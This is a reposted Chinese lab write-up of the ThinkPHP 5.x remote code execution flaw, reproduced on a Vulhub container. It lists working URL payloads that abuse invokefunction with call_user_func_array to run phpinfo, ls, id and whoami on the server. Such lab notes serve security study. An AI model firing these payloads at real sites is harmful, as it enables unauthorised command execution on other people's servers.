ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

2021-09-16 16:04:26  阅读:252  来源: 互联网

标签:5.0 5.1 vars index Index 漏洞 代码执行 array Payload


个人博客:coonaa.cn本文博客同步地址


1. 漏洞简介

ThinkPHP 是一款运用极广的 PHP 开发框架。
在版本 5 中,由于框架没有对控制器名进行正确检测处理,导致在网站没有开启强制路由的情况(即默认情况)下可以执行任意方法,从而导致远程命令执行漏洞。
受影响的版本包括 5.0.23 和 5.1.31 之前的所有版本。

详细的漏洞分析可以参考先知社区:《[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录》


2. 漏洞复现

本文简单记录一下该漏洞在实际利用中的一些 Payload ,以便后续查阅。

(1)使用 Vulhub 搭建漏洞测试靶场

搭建好相应的容器并运行:
容器搭建

容器搭建成功之后,能够在浏览器中正确访问页面:
浏览器页面

(2)使用 Payload 进行漏洞利用

根据 Vulhub 上现有的资料,直接使用以下 Payload 可以获取 PHPINFO 。

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

phpinfo

据此,便可以自行构造出想要执行的 Payload ,例如:

获取网站目录文件:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

system ls
获取对应ID:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

shell_exec id
查看当前用户:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

system whoami

3. 参考资料

https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce/README.zh-cn.md

标签:5.0,5.1,vars,index,Index,漏洞,代码执行,array,Payload
来源: https://blog.csdn.net/weixin_44143678/article/details/120330030

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有